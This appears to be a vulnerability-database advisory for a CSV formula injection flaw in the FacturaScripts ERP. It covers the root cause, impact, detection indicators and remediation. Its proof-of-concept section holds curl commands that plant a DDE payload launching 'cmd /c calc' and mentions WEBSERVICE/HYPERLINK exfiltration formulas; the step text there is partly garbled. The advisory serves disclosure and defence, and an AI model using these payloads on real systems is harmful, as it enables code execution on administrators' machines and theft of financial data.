
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-45263 is a CSV formula injection vulnerability in FacturaScripts, an open-source ERP/accounting application, that allows authenticated low-privilege users to plant spreadsheet formula payloads that execute on an administrator's workstation when a CSV export is opened. The vulnerability affects all versions of facturascripts/facturascripts up to and including version 2026.1. It was published on July 14, 2026, with a live PoC verified on April 30, 2026. The CVSS v3.1 base score is 8.0 (High) (GitHub Advisory, FacturaScripts Advisory).
The root cause is classified as CWE-1236 (Improper Neutralization of Formula Elements in a CSV File). The vulnerable function Core/Lib/Export/CSVExport.php::writeData() wraps string cells in the configured delimiter (") and concatenates them without inspecting the first character for formula trigger prefixes (=, +, -, @, \t, \r). FacturaScripts' only input sanitizer, Tools::noHtml() (Core/Tools.php:45), strips HTML metacharacters (< > " ') but leaves formula-injection characters untouched, so payloads stored verbatim in the database are emitted verbatim into the CSV. The same vulnerable writeData() method is reused across all export surfaces — addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage() — meaning any exportable model (customers, suppliers, products, contacts) is a viable injection point (GitHub Advisory).
Successful exploitation results in arbitrary code execution on the administrator's workstation when the exported CSV is opened in Microsoft Excel or LibreOffice Calc, which interpret formula-prefixed cells as executable expressions by default. DDE payloads such as =cmd|'/c calc'!A1 spawn arbitrary OS processes with the admin user's privileges, enabling full host takeover, credential theft, and lateral movement beyond the FacturaScripts environment. Additionally, =HYPERLINK and =WEBSERVICE formula variants can silently exfiltrate sensitive ERP data (customer names, fiscal IDs, financial balances) to an attacker-controlled server. The attack is particularly effective due to trust laundering — the CSV originates from the organization's own ERP system, giving the admin no reason to treat it as untrusted (GitHub Advisory, FacturaScripts Advisory).
A live PoC was verified on April 30, 2026, and is publicly documented in the GitHub Security Advisory, including full curl-based exploit scripts. Exploitation requires only a low-privilege authenticated account with Insert/Update access to any exportable model (a common permission for accounting and sales staff), making the preconditions trivial in most deployments. No CISA KEV listing or active in-the-wild exploitation campaigns have been reported at this time, and no EPSS score is currently available. The CVE status remains "Reserved" as of the advisory publication date (GitHub Advisory).
ListCliente (EditCliente role). This is a standard permission for accounting or sales staff.multireqtoken CSRF token from the login response or the EditCliente form page.TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://TARGET/login' \
| grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)nombre (name) field:curl -s -b /tmp/fs-low-cookie -X POST http://TARGET/EditCliente \
--data-urlencode "multireqtoken=$TOKEN" \
--data-urlencode "action=insert" \
--data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \
--data-urlencode "cifnif=11111111H"?action=export&option=CSV, the malicious formula is included verbatim in the downloaded file.export.csv in Microsoft Excel or LibreOffice Calc, the spreadsheet application interprets the =-prefixed cell as a formula. DDE invocations trigger a dialog (or execute silently on trusted documents) that runs cmd /c calc — or any attacker-specified command — with the admin's OS privileges (GitHub Advisory, FacturaScripts Advisory).=WEBSERVICE or =HYPERLINK data exfiltration); DNS lookups for attacker-controlled domains originating from the spreadsheet process (excel.exe, soffice.exe).excel.exe or soffice.exe, such as cmd.exe, powershell.exe, calc.exe, or other binaries not normally launched by spreadsheet applications; DDE server process invocations visible in process trees./EditCliente (or similar model endpoints) with URL-encoded formula characters (%3D, %2B, %40) in the nombre or other text fields; subsequent GET requests to ?action=export&option=CSV from an admin session.=, +, -, or @ in the nombre column; presence of unexpected scripts or executables dropped by the spreadsheet process in %TEMP% or user profile directories (GitHub Advisory).As of the advisory publication date (July 14, 2026), no patched version of FacturaScripts has been released — the advisory lists "None" for patched versions, and all versions ≤ 2026.1 are affected. The recommended fix is to neutralize formula-trigger characters (=, +, -, @, \t, \r) at write time in CSVExport::writeData() by prepending a single quote (') to any string cell beginning with these characters, following OWASP CSV injection prevention guidance. The same fix should be applied to writeHeader() and XLSExport::getCursorRawData(). As an interim workaround, administrators should open CSV exports using the spreadsheet's "Import Text" / "From Text/CSV" wizard (which does not auto-execute formulas) rather than double-clicking the file, and restrict Insert/Update permissions on exportable models to trusted users only (GitHub Advisory, FacturaScripts Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."